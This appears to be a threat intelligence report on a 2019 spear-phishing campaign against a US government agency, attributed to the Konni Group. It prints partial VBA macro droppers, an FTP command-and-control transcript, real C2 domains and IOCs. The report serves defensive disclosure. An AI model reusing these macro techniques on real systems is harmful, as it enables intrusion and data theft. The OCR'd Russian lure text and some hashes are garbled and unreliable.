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Executive Summary

Between July and October 2019, Unit 42 observed several malware families typically associated with the Konni Group (see Attribution section
below for more details) used to primarily target a US government agency, using the ongoing and heightened geopolitical relations issues
surrounding North Korea to lure targets into opening malicious email attachments. The malware families used in this campaign consisted
mainly of malicious documents featuring CARROTBAT downloaders with SYSCON payloads, but also included a new malware downloader
Unit 42 has dubbed CARROTBALL.

CARROTBALL, initially discovered in an attack during October 2019, is a simple FTP downloader utility which facilitates the installation of
SYSCON, a full-featured Remote Access Trojan (RAT) which leverages FTP for Command and Control (C2). It was found embedded in a
malicious Word document sent as a phishing lure to a US government agency and two non-US foreign nationals professionally associated with
North Korea.

Throughout the course of the campaign, Unit 42 ultimately observed a total of six unique malicious document lures being sent as attachments
from four unique Russian email addresses to 10 unique targets. The subject matter of the lures featured articles written in Russian pertaining
to ongoing geopolitical relations issues surrounding North Korea. Of those malicious documents, five contained CARROTBAT downloaders,
and one contained a CARROTBALL downloader. All malicious second stage payloads were SYSCON.

While this campaign does demonstrate some evolution in the actor’s tactics, techniques and procedures (TTPs) with the use of a new
downloader family and new malicious code in the form of Word Document macros, the majority of its attributes bear a strong resemblance to
the Fractured Block campaign previously reported by Unit 42 in November 2018. As such, Unit 42 has dubbed this campaign Fractured Statue.
The Adversary Playbook for the activity described in this blog can be found here.
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The Fractured Statue Campaign

Figure 1. Fractured Statue Campaign Timeline

Opening Wave of Attacks

Between July 15th, 2019 and July 17th, 2019, spear phishing emails were sent to a total of five individuals at a US government agency from
the email addresses Otdelkorei@mail[.Jru and kargarnova@mail[.Jru. The spear phishing emails utilized three different email subjects with
malicious macro documents attached with the same name; all file names were written in Russian. Further, all of the malicious documents
contained articles written in Russian pertaining to ongoing geopolitical relations issues surrounding North Korea. The documents themselves
were rather generic and had no embedded image enticements to enable macros. They did, however, leverage second-stage downloader
components consistent with known CARROTBAT samples, and almost all of them featured SYSCON payloads. The first pages of each of
these documents are shown below:
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O catyannn Ha KopeiickoM mo.TyocTpoBe i NepcneKTHBAX
najora mexay CIIA u KH/P.

B menTpe eEmousmms dopyMa OmmH MpolneME! COEPEMEHHOTO COCTOSHHE H MEDCMEETHE
ervineapisarnnt KHP 1 axepuraso-c2pep 0X0peiiciinn 0 THOMMSHIL.

B xoze obcysgsmmz p oT m po TONoEHER

OUSHEHM E PAMESX PO B oM [OHCKOT O MOIXO0J0E.

EamsicTeeEHOS, E 95M CTOPOHE! COMMACIITNCE 370 ¢ TeM, 9T0 ETopoi caxamt . Tpasms
w Feoa Jen blua & Xanoe e geepans c. 1. cnsayer pacusHEESTE He KSK OPOE4T, 4 KK NOSSHYIO
ECTpEdy, E HTOTe KOTOPOH 00 CTOPOHE! T¥¥INé H DSSTHCTHYHSS MOHLTH MOIHINE JPVT JPITE.
Jlanes HS9aTH ERINETATECE P HEIOTHATENES DATTIHY.

Pocomifcsme ® KuTalicKMe yYACTHMEM YTESQEIJAMM IT0 B Xamoe mmmep KHIP
TPOJSMOHCTPHDOEST HECOTTECHE CHSIOESTE SMEDHESHCEOMY EVDCY HE OIHOCTOPOHEIH
O2PEQOUSPEIHYIO JeHVERSEDHIAINNO 083 ECTPS4HED 0TESTHED: marce co cToporss CIIIA & xae
CMATYSHHE CAHEIHH. [SHESY I0IHIHT Oma p it THIEPOM E X0I2
scrpeun ¢ npamasaron PP BB [Tvrmmnas 20 Bramocrons 25-ro anpenz ¢ r. Tau Kine Yen
blx eHoE: sagemn, 910 roToe npogomxars guanor k¢ CIIA, n ¢ HOxmoi Kopesi, mo ¢ nensio

HS BaJSEMS (TISDETOEOPOE DATH TEPSOBODOEW, 4 ¢ TEM, WTODM JOOHTECE B HX Xo3e
EOHEDSTHEIX DeSyNETATOE, [EKST KOTOPEX EENIOMasT E c20f EENDEMEHHO M COEpPSNSHHE
o@Bems pecTpHEm, JeicTEyiomex mp otee FHIP, & Tox unene, & euae camanmi CB O0H.

AMSDHESHCEMS e INITOMATE M EOSHEES E | OEEOHrS, EOTODEXX SETOMSTHWSCEM H
D230TOECPOYHO MOIISPEMELTH ATOECKHS COKHHEN, YTESpEIamH HEos. [Io omemksu JsEEsm
TpaJcTaEMTensl  EOHCSDESTHEHOTO  OomemmeEcTEs mershmmmuemra CIIA  rosemeos
JOCTICESHMAM BCTPSYE B XaHDS CTano 1o, w0 TayM Haxomen . Tpaum nomematcs yOSIHTECE,
aro Bammarton u [IxeHess maeror o0mes DOHNMSHHS CEMOr0 NOHATHS (ISHYENSSpHSELLIY,
EEPEESHHOT0 ETEHM IIREO0M MEEIVESDOIHOTO MpAEa. [IpH 3TOM HME MOCTOSHED MOETODATCE
TESHC © TOM, 9TO CAEEINGE— 370 MpoavET e momurmen CIIA. & xommestiesoit sonn an=me CB
OOH. m npemsenste & DBammerTomy Tpe0oBSHEHS N0 HX CMSTYSHNKO E ODHHIHIES
H2OPEEOMEPHO.

B mETepmpeTamMm SMEDHESHCENX VYSCTEHEOE NDPOHScT IMancra DammertoEa o
IIxeresma cocTomT M2 Tpéx sramce. Ha nepeou e gocTHrEyT EasHafmt nporpace — & 2016
r. Toraa FHP msxomsn Npeesns HCTOPHYECKOS DANSHNS COTIECHTRCE ¢ MEEIVHEDOIHEDMH
CAHEIMTME, HAMDSENSHHELM He Npocro Ha orpaHmdenms BIIK, a Ha mapHE KouepascEoll
toproent FHIP. Ozmaxo, Ha Etopou stans & 2018 roay mpozEmamc: mefnarompmaTHER: ans
nensft GOPCHPORANNON TSHVETSSDHIAMGO! MOMSTHES SEICKSHIT HOCEHIAEEC mpomsomEn

Figure 2. First page of initial malicious document observed in the campaign.

Associated with CARROTBAT.

SHA256 Subject Sender Translated Filename Ti
Subject Fi
4c201f9949804e90f94fe91882cb8aad3e7daf496a7f4e792b9c7fed95ab0726 O cutyaumm  Otdelkorei@mail[.Jru  On the (0] A
Ha situation cutyauum si
Kopewckom on the Ha in
nonyocTpoBe Korean Kopenckom
1 NepcnekTn Peninsula
Bax Auanora and the
mexay CLUA prospects
n KHOP for
dialogue
between
the USA
and the
PDR

Table 1. First phishing attempt details.
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IIpoaaaTCA TH «MHpPHAA Nay3a» Ha KopelickoMm moayocTpose o 2024
roza?

2018 roz sofizer B HcTopMI0 KopefcKoro mOIVOCTpOEA B MEPEVIO
OuEpeas KAK rof Hauala OecTpeleleHTHBIX MOAEIKEK B YPery.THpOEaHHH
MeFEKOPeHCEOro KOH(QIHKTa Ha 0ase BO3O0HOEAEHHA COTPYAHHYECTEL MeRAY
meymx Kopemm n sddexTHoro crapra MeXIVHAPOJAHOTD NOTHTHEECKOrO
Tponecca Ha (HoHEe SHAYHTEIBHBIX MepeMeH KAk BO BHYTPeHHeH CHTYaIlHH ABYX
TOCYZApPCTE, TAK M HX BHENIHeH NOTHTHEH B HET0M.

BKH/P 5 2018 r. Kina Yen blu, npogexnapaposasnmmt & xorme 2017 r.
penleHHe  BOMNPOCOB  JOCTHAEHMZ  AIePHOTO0  MAPHTETa  («cosjaHmA
TOCYAAPCTERHHEIX ATEPHBIX CHI») H $OPMHPOBAHMA COOCTBEHHOH CIPYKIVPH
EJACTH BO IIaBe ¢ ['occoBeToM (¢ pemmriomedi poTbio MAp THIHEGIX HECTAHIMI),
3aMETHD EKOHCOTHAMPOEAT CBOM mosHumM. biarozaps »T1oMy OH cMoOT
COBEpLINTE HeBHIAHHEE [I0BOPOT B JHITIOMATHH, Nepefi 0T BOHHCTBEHHOHR
PHTOPHEH ¥ ZIEPHOr0 NMAHTAXA K (MHPHOMY HACTYIMeHmo». JL1Z 3TOrO OH
BOCTIOTEIOBATCA «hakTopod Tpammas ¢ €ro HecTAHIAPTHEIMM IOJXOJAMH H
:[empllpommmt C‘l'PEhL'IEEIIEM «‘q’)E]]IHIll KDPEEEKYIO ]'lpD(‘_‘C[Eh[“-'f), a TaE&e
mepexojoM Hosoro pykosoactsa PK x noawTexe cotpyanrectsa c KHITP.

Astoputer Kind Yen blua Eepoc Kak cpeH HACETeHHA, TAK (PEAH H Oes
TOro MOKOpHOH M samyragsof samrsl Io cyTH, gake ¢ yUETOM HATHYHA
PasHEIX MHEHHMH E NpaEAmed BepXyIIEe, KOTOPAA MOCTETEHHO 0DHOBIASTCA,
OTIOSHUHH JTEHEPY MPOCTO He MOMKET MOABHMTCA B CHIY OCOSHAHMA XTHTOR
OMACHOCTH «pacEa4aTh J0JEY» ]IG.'ISIG:_IAPK TOTATEHOH CASEEE.

3HaueHMe BOEHHBIX, HIPABIIMX IIPH OTLE HEHEIIHEro IHAepa pOJb
«CTAHOBOTO XpedTa rOCYNpPAaETeHHA, SAMETHO CHHSHIOC M CEOJHTCA K
pemenmo sajag E o01acTa obopomsl. KpoMme Toro, EIeneHMe B KaduecTse
OCHOEEl EOSHHOH CIPAaTErMHM PAaKeTHO-AZEPHEIX CHI  CTPaTerHHecKOro
HASHAUEHMA M SIMTHEIX NOJPASIETeHHil, PesKO NOHMSHIO BOIMOMHOCIH B
CTATYC OOBIMHEIX MO-TPEeXHEMY MHOTOUHCISHHEX BOOPYKEHHEIX CHT (0HH Bee
B Doapluedi Mepe HCMOABSYIOTCA B KauwecTse OecrLiaTHoH padouei cHibL, 4TO
BEISEIBA €T ONP e JETeHHOE HEZOBOIBCTED).

C'rpann MEpENIIa E HOEVID COIHATBHO-3KOHOMEMECKOK PpeadsHOCTh.
HE[MDTPH HA Ca HEITHH, MpOCIERHNBACTCA TMOSHITHEBHAA JUFIHA MR B
SKOHOMMYECKOH  OOMACTH, 4YI0 MPOHMCKOAHT  OIaroiapd  PasBHTHIO
HeOOBABTEHHBIX pehOpMEHHBIX NPOLECCOB: DPACIIHPHIACE MAPKETHSAIMA
CHMSY», MPOHSONITO PASEHTHE HaCTHOTO MpeAnpHHHMATEIBCTES (B TOM QHCIE

Figure 3. First page of second malicious document observed in the campaign.

Associated with CARROTBAT.

SHA256 Subject Sender Translated File name  Trai
Subject File
63c3817a5e9984aaf59e8a61ddd54793ffed11acbbecef438528447f6b2823af [Mpoanutca Otdelkorei@mail[.Jru  Will there  Mpognutca  Will
N MUpHas be a N MUpHas  pea
nays a Ha peaceful nays bre:
Kopetickom pause on last
nosyocTpo the
Be 0o 2024 Korean
roga Peninsula
until
20247

Table 2. Second phishing attempt details.
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PernonaabHBIe YK0HOMHYeCKHe CBAIH poccHiickoro Jaasnero BocToka ¢
KopeHcKHEMH rocyaapersamu (2010-e rr.)

Anmoramma: HccrezoBaHel EONPOCH TOProEO-3KOHOMHYECKHX CEX3eH
NaTBHEBOCTOMHBIX permoHos Poccwm m crpam Kopefickoro momyocTposa.
Brisenens! mprHMHE 3aMeTeHMA SKOHOMHYECKOTo coTpyaHedecrsa. Cpeaan
EEIEOJ O TOM, YTO MeXIVHAPOAHEIE SKOHOMIUECKHe CAHKITHH He CHHSHTH HHTepec
EOpefCKHX rocyAapCTe K COTPYAHNEecTEY ¢ poccriicirn Jaxemme BocTokoM, Ho
TPHESIH K 3aMeJTeHHE TEMIIOE PASEHTHA BHENIHETOPTOEEIX CEBA3EH.

Kawoveswie caosa: Poccun — KHIP — PK — mopzoso-3xonoMuxeckue caasu —

UHSecmMuyuu

Abstract: The article by Dr. Lansa Zabrovskaia “ The Regional Economic Contacts
of Russian Far Eastwith Korean States (2010s)” 1sinvestigatedissues oftrade and
economic ties between the Far Eastem regions of Russia and the countries of the
Korean peninsula. There were revealed reasons for the slowing of economic
cooperation. It is concluded that the intemational economic sanctions did not
reduce the interest of the Korean states in cooperation with the Russian Far East,
but led to a slowdown in the development of foreign trade.

Keywords: Russia— North Korea — Republic of Korea — trade and economic
relations — investments

Pocceiicssit Jaassmit Bocrox m crpamm Kopefickoro moayoctposa
CBASBIBAKOT MHOIOJeTHHE TeCHBIE H E3aMMOBBITOJHBIE IUPP“ED-SKUHUW{‘[EC)CI{E
otHomreHmd. Poccmiicsm®t  Jaaenmit BocTok HHTepeceH MM HaJIHYHEM
3HAYMTEIBHEIX 3HEPreTHHeCEKMX pecypcos. B cEor ouepeas Poccmm man
JOCTHNEHHA XOSAACTEEHHOTO H CONHaTbHoro mogbema Jamsmero Boctoxa
TpeOyIOTCA SHAUHTEIBHEE KAMHTATOETOKEHHA, CAMOCTOATEIRHO OCYIIECTEHTE
KOTOpEIe HAIIA CTPaHa TOKA He B COCTOAHHH. [To3ToMY KTI0UeERM MEXaHISMOM
PASEMTHA JaTBHEBOCTOMHOTO PErHOHA CHOCOOHO CTATE MEWAVHAPOJHOE
[‘urpy;ul]{qec’rnu ¢ CcOocCeJHHMH E'I'PH.HHL‘EH_, B HacCcTHOCTH, C IﬂpEﬁ[‘m
I‘DE}‘,‘_[BP[’[BELU{, Bam{u IIPH 3TOM ncy]qecm‘m‘rb CDTP}',‘IE](‘]E['I'BD B ['IPDI'BM
COOTBETCTEHE C POCCHACKNMH 33E0HAME M Ha B3aMMOBEITOJHEIX ¥ CIOBHAX.

B cBAsH ¢ 3THM B CTaThe CTABHIACE Ielb MPOaHATHSHP 0BT COBPeMeHHOe
cOCTOAHHe cEAseH poccmAckore JaasHero BocToxa ¢ oDomum kopeHckaMH

Figure 4. First page of third malicious document observed in the campaign.

Associated with CARROTBAT.

SHA256 Subject Sender Translated File
Subject name
9dfe3afccadad40a05b8b34901cb6a63686d209e2b92630596646dba8ee619225 Poccusi — kargarnova@mail[.Jru  “Russia - Poccy
KHAOP — PK — DPRK-RK- -
TOp roBo- trade and KHOP
3KOHOMMUYeckme economic - PK-
CBA3 U — ties and - TOp
NHBECTULMMN. investments.”

Table 3. Third phishing attempt details.

Second Wave

Roughly one month later, beginning on August 15, 2019 and ending on September 14, 2019, the second wave of CARROTBAT attacks
occurred against three additional email addresses at the same government agency. One attack featured the same sender and malicious
document but had a different subject and filename. The other two emails contained a previously unseen malicious document and featured a
mix of Russian and English languages in both the document lures and the email correspondence.

SHA256

Subject Sender

File
name

Initial C2 Dorr
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9dfe3afccada40a05b8b34901cb6a63686d209e2b92630596646dba8ee619225 Russia —

North Korea
— Republic
of Korea —
trade and
economic
relations —
investments.

Table 4. Fourth phishing attempt details.

Figure 5. First page of fourth malicious document observed in the campaign. Associated with CARROTBAT.

SHA256

PernoHaabHbIE YK0HOMHYECKHE CBAIH poccHiickore JaasHero BocToka ¢
KopefickHEMHE rocyaapersamu (2010-e rr.)

Anmorauna: HccregosaHs! BONPOCH TOProBO-SKOHOMHYECKHX CBASEH
aTBHEBOCTOYHBIX pernoHos Poccum m crpan Kopefickoro momyoctposa.
BrfENeHE MpHYMHEI 3aMejIeHHA IKOHOMEYECKOTO COTpyaHEMecTEa. Caeaan
BEIEOJ 0 TOM, 9T0 MeAAYHAPOAHEIS SEOHOMHYECKHE CAHKITHH He CHISHTH HHTepec
KOpeHCKHX rocyAapcTs KCOTPYAHNYecTEY ¢ poccriicsrm Jaasmrm BocToxon, HO
TNPHESIH K SAMeATEHHIC TEMIOE PASEHTHA BHENIHETOPTOELIX CEAseH.

Krwoueswie caosa: Poccun — KHIP — PK — mop2060-3X0HOMUNECKUE CEATU —
ungecmuyuu

Abstract: The article by Dr. Lansa Zabrovskaia “The Regional Economic Contacts
of Russian Far Eastwith Korean States (2010s)" isinvestigatedissues oftrade and
economic ties between the Far Eastem regions of Russia and the countries of the
Korean peninsula. There were revealed reasons for the slowing of economic
cooperation. It is concluded that the intemational economic sanctions did not
reduce the interest of the Korean states in cooperation with the Russian Far East,
but led to a slowdown in the development of foreign trade.

Keywords: Russia— North Korea — Republic of Korea — trade and economic
relations — investments

Pocceicsant  Jaasemit Boctox m crpamm Kopefickoro moayocTpoea
CEASBIBAIOT MHOTOIETHHE TECHEIE H B3aHMOBEITOIHBIE TOPTOE0-3KOHOMHMECKHE
otHomrenna. Poccuiicsmii Jaasanid BocTox wHTepecen MM HaIH4HeM
SHAYMTEIBHEX 3HEPreTHHecKHX pecypcos. B cEor ouepeas Poccmm zaa
JOCTHEEHHA XO3AACTEGHHOT0 H CONHATeHOTo mogbema Jlamemero BocToka
TpeOyIOTCA SHAYHTENbHEIE KAMHTATOBTOKEHHA, CAMOCTOATEIEHO OCYIIECTEHTE
KOTOpBIe HAIIA CTPaHa TOKA He B COCTOAHHH. [T03TOMY KIIOUEEEIM MEX A HHSMOM
paxn}rrml AaTbHEBOCTOYHOTO pemul{a EHOEDGHO CTaTh HE}KJ},‘HQPD}IKUE
COTPYAHMMECTEO C COCEJHHMH CTPaHaMH, B YacTHOCTH, C KopedcEHMH
rocyzapereamy. BamEo mpE 3TOM OCYIIECTEIATE COTPYAHHYECTED E CTPOTOM
COOTBETCTEHH C POCCHICKHMH 3aK0HAMH M Ha B3aHMOBBITOHBIX Y CTOBHAX.

B cEBAH ¢ 3THM B CTaTBe CTAEKIACE UETE NPOAHATHSHPOEATE COEPEMEHHOE
COCTOAHHe CcBAsell poccmickoro JaasHero BocToxa ¢ obDomm kopeHcKHMEH

Subject Sender

kargarnova@mail[.Jru

Russia —
North
Korea —
Republic
of Korea

File name

handicap.eu5

Initial C2 Dc

ed63e84985e1af9c4764e6b6cadb13ec1c16840fb2534b86f95e31801468be67a Republic rusrnirasaf@yandex|[.Jru

Table 5. Fifth phishing attempt details.

of Korea,
the
Russian
Federation
and the
DPRK

Republic
of Korea,
the
Russian
Federation
and the
DPRK.doc

panda2019.
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Kopeiickuil noayocmpos 6 210601bHbLY U PEZUOHATBHBLY USMEPEHIUAX.,

FBesonacnocmp U §03IMORCHOCHU BE3aMMOJeACTENA

B mocneanee Bpema B KOpeHCEDHA HpoOaenme peabedHED NpOCMATPHEAOTCA
[100aJBHEIE ACTIEKTH Oe30MACHOCTH — VIPO3a BOSHEFHOBEHHA HA NOJYOCTPOEE
AfepHOT0 KOH(UIHKTA, MOTEHIMATBHO CMOCOGHOT0 MPHEECTH K HOBOH MHpOBOH
soie. [locae msBecTHBIX pakeTHBIX mycxos [Ixemssma 5 2018 r n apyrm,
APTHLIEPHCICEHMX IMepecTpeloK HOPefCKMX TOCYJAPCTE H  3aMOPARHEAHHA
LIECTHCTOPOHHMX Neperoeopos npornsoctoanne KHIP um CIIA sHauHTeIsHO
yemrnrocs. IlenTaron, yEaseisad Ha [IxeHbAH, MpPOBOJHT pacurMpesve CcBOed
NPOTHEOPAKeTHOA 000poHsl, pasmectss B FOwmod Kopee HOBeHmIVIO CHCTEMY
ITPO THAD, pervaipHo NpoBOAA ¢ BOOPYHEHHBIMH chiamu PK BoeHHBIe VueHHA
B HEMOCPEeACTEEHHOHA OIH30CTH 0T AEMIIHTAPHS0EaHHOH soHsl (IM3) — rpammme
MeXIY ABYMA K0P eHCEHMH rocyIap CTBAMH.

OueengHo, 49ro cmroesie marn CIIJA HampagTeHE He CTOJBED NPOTHE
Ceseproit Kopen, cxoasxo nporuns KHP n PP Tlponssegeno pasueniense HOBBIX
aMEPHIAHCKHX PaTapob PAHHETO MpeqyTIpesEJieHA Ha 10MHBN ocTposax SAnomwm
B Primmmnmx, veearsenme (¢ 26 go 36) CHeIMATHHEX EOSHHEIX KopaGuef,
OCHANIEHHEIX AHTHPAKETAMH H IP.

HPOHUEO;UH‘ MOATOTOBERA K HEPEQ]OPMHTEPOEAHHID AMEPHEAHO-AMOHCEOTO H
aMEPHKAHOFOKHOMOPefICKOT0 COMOSHEIX JOTOBOPOE B CTOPOHY YIIVOIeHHA
BOSHHO-TIOTHTHYECEHY 00432 TeIBCTE CTOPOE.

IIxenpsn Tpammumonno oOpammerca kK [lesmmy sa  KpeanTHOH,
NpPOJOBOIBCTECHHOM, 3HepreTdeckol B mHOA momomeo. KHE ecanm 310 He
Hapymmer nprrATex CB OOH camsumit omassisaeT momomb. KHrail Bcerma
MOAAEpAMEAT MICOTOTHHECKN OMMSEMA €My pesind HHOMA CMAcad € oT

CMepTeTsHOH YIposEl (Mesopeiicxan soima 1950—1933 ) He ocrasmx om

Figure 6. First page of the fifth malicious document observed in the campaign. Associated with CARROTBAT.

SHA256 Subject Sender Translate
Subject
a4f858c6b54683d3b7455c9adcf2bb6b7ddc1f4d35d0f8f38a0f131c60d1790f  Koperickuii nonyocTpoB B kargarnova@mail[.Jru The Kore
rnobanbHbIX 1 Peninsul
pernoHanbHbIXM3MEPEHUSIX. global ar
BesonacHocTb regional
MBO3MOXXHOCTMB3aUMOAENCTBUSA dimensic
Security
Interopel

Table 6. Sixth phishing attempt details.

Final Attempt

On October 29, 2019, one of the same individuals targeted in the second wave of attacks was targeted again with a malicious document,
though in this attack the sender was different and the document lure did not feature CARROTBAT. Also of note is that the lure in this attack did
feature a more traditional “enable macro” cover page, but was then followed by additional pages in Russian that thematically matched with the
documents found in the rest of the campaign.
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@ Mic

To view thi ent, Please Enable Editing” from the yellow bar
and then ¢ Enable Content”.

Figure 7. First page of sixth malicious document observed in the campaign. Associated with CARROTBALL.

SHA256 Subject Sender Translated File nam
Subject
¢c1a9b923fc1f81d69bd0494d296c75887e4a0f9abfc1cdfbfadc0f4ab6c95db7  MHBecTnumoHHbIM - pryakhin20l0@mail[.Jru  “The MHBecTy
Knumart investment knumar !
CeBepHoW climate of
Kopew. North
Korea.”

Table 7. Seventh phishing attempt details.

Also interesting to note is that the sender added multiple recipients to their email; one was an individual at a US government agency, and the
other two individuals were non-US foreign nationals professionally associated with ongoing activities in North Korea.

Technical Analysis

With the exception of the October 2019 attack, all of the malicious documents found in this campaign featured the following macro code
snippet of interest:
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If (TextBox1.Text B¥ "") Then
sCmdLine = Environ("windir")
nResult = InStr(Application.Path, "x86")
If nResult B® 0 Then
sCmdLine = sCmdLine & Hex2Chr(TextBoxl.Text)
Else
sCmdLine = sCmdLine & Hex2Chr(TextBox2.Text)

End If

sCmdLine = sCmdLine + Hex2Chr(TextBox3.Text)
nResult = Shell(sCmdLine, vbHide)
TextBox1l.Text = ""
TextBox2.Text = ""
TextBox3.Text = ""
ActiveDocument.Save

End If

Figure 8. Macro from malicious documents associated with CARROTBAT.
When executed, this code will:

o Determine whether the victim’s host machine is running Windows with an x86 or x64 architecture.

« Parse the contents of a corresponding textbox within the document and convert it to a command line argument specific to the Windows
architecture on the victim’s machine.

» Execute the command.

o Clear the contents of the textboxes and save the document.

As previously mentioned, all samples featuring the macros above also featured CARROTBAT as a second stage downloader.

The October 2019 attack, however, differed significantly from the previous ones. Instead of reading from the contents of the document itself,
the macros leveraged an embedded Windows executable in the form of hex bytes delimited via the ‘|" character that ultimately acted as a
dropper. When the macro was executed, the hex bytes were split, converted to binary, and dropped onto disk as an executable. The first few
lines of this functionality are shown below:

VB_Name "ThisDocument"
VB_Base = "1Normal.ThisDocument"
VB_GlobalNameSpace Fe
VB_Creatable = False
VB_Predeclaredld - True
VB_Exposed = True
VB_TemplateDerived - True
VB_Customizable = True
VB_Control = "Imagel, @, @, MSForms, Image"
Private Sub Document_Open()
Dim nResult As Long
Dim sFilePath As String

If Imagel.Width - 1 And Imagel.Height - 1 Then
Imagel.Width = 1
Imagel.Height - 1

sFilePath = Environ("USERPROFILE")
sFilePath sFilePath "\Downloads\update.txt"

hex_val - "4D|5A|90|0@ |03 |00 |00 |00 |04 |00|00|00|FF|FF|00|00|B8|00|00 |00 0|00 |00
hex_val = hex_val + "64|65|2E|@D|0D|0A|24|00|00|00|00|00|00|00|57 |48 |AG|27 13|29
hex_val - hex_val + "E@|@@|02|01|0B|01|0B|00|00|06|00|00|00|0E |00 |00 |0a|aa 00|00
hex_val = hex_val + "0|00 |00 |00 |00 |00|00|00|00|00|00|00|00|00|00 |00 00|00 00|00

Figure 9. Macro from malicious documents associated with CARROTBALL.

In this case, the dropped binary was a new type of downloader we have dubbed CARROTBALL. Its sole purpose was to serve as the main
mechanism to facilitate the download and installation of the SYSCON backdoor. This is very similar to the CARROTBAT samples observed
earlier on in this campaign and in the previous Fractured Block campaign (see technical analysis here). Additionally, of novel interest in this
attack was the use of two separate FTP credential pairs to conduct active C2 operations. One credential pair was hardcoded in the dropped
CARROTBALL binary and used to connect to the domain downplease.c1[.]biz to retrieve a CAB file renamed with a generic .dat extension.
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220 ::ffff:185.176.43.94 FTP server ready
USER|
331 Password required for 3159858
PASS|
230 Welcome to your web hosting account! Please upload your web site
inside the directory of the respective hostname.(If you wish to
upload outside the hostname directories or delete them please make
sure Directory Protection is set to OFF from your hosting control
panel - File Manager section)

CWD /htdocs/

250 CWD command successful

TYPE I

200 Type set to I

PASV

227 Entering Passive Mode (185,176,43,94,192,60).

SIZE 64.dat

213 14711

RETR 64.dat

150 Opening BINARY mode data connection for 64.dat (14711 bytes)

226 Transfer complete

Figure 10. Observed CARROTBALL FTP interaction.

When extracted, the .cab file was found to contain two malicious batch files, two malicious dlls (one of which contained a custom base64
alphabet), and a second domain (lookplease.c1[.]biz) with a set of FTP login credentials encoded in the custom base64 alphabet. The contents
of the cab file are as follows:

-

Mame Date modified Type Size

| alive.bat 10/28/2019 5:14 PM Windows Batch File 1 KB
%] bpu.dll 10/28/2019 5:08 PM  Application extension 6 KB
mama.bat 10/28/2019 515 PM  Windows Batch File 1KB
|| syssec.bin 9/21/201911:15 AM  BIMN File 1KB
%) syssec.dll 10/28/2019 4:32 PM  Application extension 12 KB

Figure 11. Converted CAB file contents extracted from observed CARROTBALL FTP interaction.

SHA256 File Name Functionality

42e874d96chb9046cd4113d04c1c5463b1d43a4e828ca872de11c08cd314e650f alive.bat Install and establish persistence for core
SYSCON backdoor component.

a761b47ab25dc2aab6b2f8ad4ab9636e40ebbcaf67f8a34f3524456c09f47d76  bpu.dll UPX-packed system process injection
mechanism to gain execution of alive.bat.
Reserved for use against non-admin users.

c3ac29e4b0c5e1a991d703769b94c0790fbf81fd38cf6acdb240c5246¢c2517ca mama.bat Batch file to delete assorted host based
artifacts of malware. Deletes bpu.dll if running
as Admin. Runs bpu.dll if not Admin.

ad63b8677c95792106f5af0b99af04e623146c6206125c¢93cf1ec9fbfeafaac9 syssec.bin Custom base64 encoded FTP credentials and
C2 domain.

bdd90ed7e40c8324894efe9600f2b26fd18b22dcbf3c72548fee647a81d3c099  syssec.dll  Core SYSCON backdoor component.

Table 8. CAB file contents.

While observing the malware’s interaction with the second domain, lookplease.c1[.]biz, two text files were subsequently identified containing
text encoded with the same custom base64 alphabet used previously. When decoded, these files were found to contain additional commands
to be executed on the infected host.

SHA256 File Raw Flle Contents
Name
f3d3fadc76adfabd239acch453512af33ae8667bf261758f402fff22d9df1f67 Gei Fg37eqyelee2eqse0e3SeY8evg3Geghecy3-
All eqAexf32eUAe
(0).txt

4b8790e9cb2f58293c28e695bec0a35e2ebd2da8e151c7e8c4513a1508c8bc94  Gei Fg37eqyelee2eqse0e3GeqOevg31eqgel/y3SeYyeZfeD
All
(1).txt
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Table 9. SYSCON C?2 file attributes.

At the time of the activity, both downplease.c1[.]biz and lookplease.c1[.]biz resolved to the IP address 185.176.43[.]94.

Attribution

Konni: Malware or Actor?

Originally, the name “Konni” was used to refer to a Remote Access Trojan utilized in targeted campaigns with strong links to North Korean
interests. However, as additional campaigns began to appear with strongly overlapping TTPs yet did not feature the Konni RAT, specifically,
some industry researchers simply began to adopt the “Konni” moniker to refer to the actors behind the aggregated set of activity. Unit 42 has
followed this trend, and now refers to the “Konni Group” as such.

Konni’s Ties to Fractured Statue

As prominently documented by Cisco Talos, the first Konni Group activity was a sustained information stealing/RAT distribution campaign
spanning between 2014 and 2017. Throughout 2018, Unit 42 released several blogs on Konni Group activity, and subsequently identified two
new malware families the group was using in the attacks, dubbed NOKKI and CARROTBAT, respectively. Now, in 2019, Unit 42’s continued
observation of targeted CARROTBAT activity (in addition to the new malware CARROTBALL being used during the same campaign) could
indicate that both are still in use by the Konni Group, as thematically linked elements of Konni Group TTPs include:

« Targeting individuals/organizations who have interest in, are directly linked to, or conduct business in North Korea (corroborated by
previous research by Unit 42).

» Utilizing malicious document phishing lures containing subject matter pertaining to North Korea (corroborated by previous research by
Unit 42).

o lteratively increasing the type and complexity of their payload delivery mechanisms (from their initial use of simple Base64 strings as
reported by Trend Micro, then later leveraging CARROTBAT, and now leveraging CARROTBALL)

However, there are non-trivial obstacles to obtaining a high-confidence attribution to the Konni Group, namely the fact that previous blogs
produced by Unit 42 and other researchers contain a great deal of technical detail about the group’s operations, and copycat actors may
attempt to emulate previously observed TTPs to hinder attribution efforts or perform false-flag operations.

In light of these factors, Unit 42 assesses with moderate confidence that this activity is related to the Konni Group.

Conclusion

Overall, the Fractured Statue campaign provides clear evidence that the TTPS discovered in Fractured Block are still relevant, and that the
group behind the attacks still appears to be active. Additionally, development and use of the new downloader, CARROTBALL, alongside the
more commonly observed malware delivery mechanism, CARROTBAT, may indicate that the previous methods employed by the group to
successfully infect their targets are becoming less effective. The Adversary Playbook for the activity described in this blog can be found here.

Palo Alto Networks customers are protected from this threat in the following ways:

* AutoFocus customers can track these samples with the FracturedStatue, SYSCON, KONNI, CARROTBAT and CARROTBALL tags.

* WildFire detects all files mentioned in this report with malicious verdicts.

* Cortex XDR blocks all of the files currently associated with the Fractured Block campaign.

I0CS:

Malicious Documents with CARROTBAT:
a4f858c6b54683d3b7455c9adcf2bb6b7ddc1f4d35d0f8f38a0f131c60d1790f

ed63e84985e1af9c4764e6b6cab13ec1c16840fh2534b86f95e31801468be67a
9dfe3afccada40a05b8b34901cb6a63686d209e2b92630596646dba8ee619225
4c201f9949804e90f94fe91882ch8aad3e7daf496a7f4e792b9c7fed95ab0726

63c3817a5e9984aaf59e8a61ddd54793ffed11ac5becef438528447f6b2823af

Malicious Document with CARROTBALL:
c1a9b923fc1f81d69bd0494d296c75887e4a0f9abfc1cdfbfadc0f4ab6c95db7

CARROTBALL Downloader:
56924402a17393e542f6bf5b02cd030cc3af73bc2e1c894a133cebb2ca9405ee

SYSCON Samples:
ceb8093507911939a17c6¢7b39475f5d4db70a9ed3b85ef34{f5e6372b20a73e
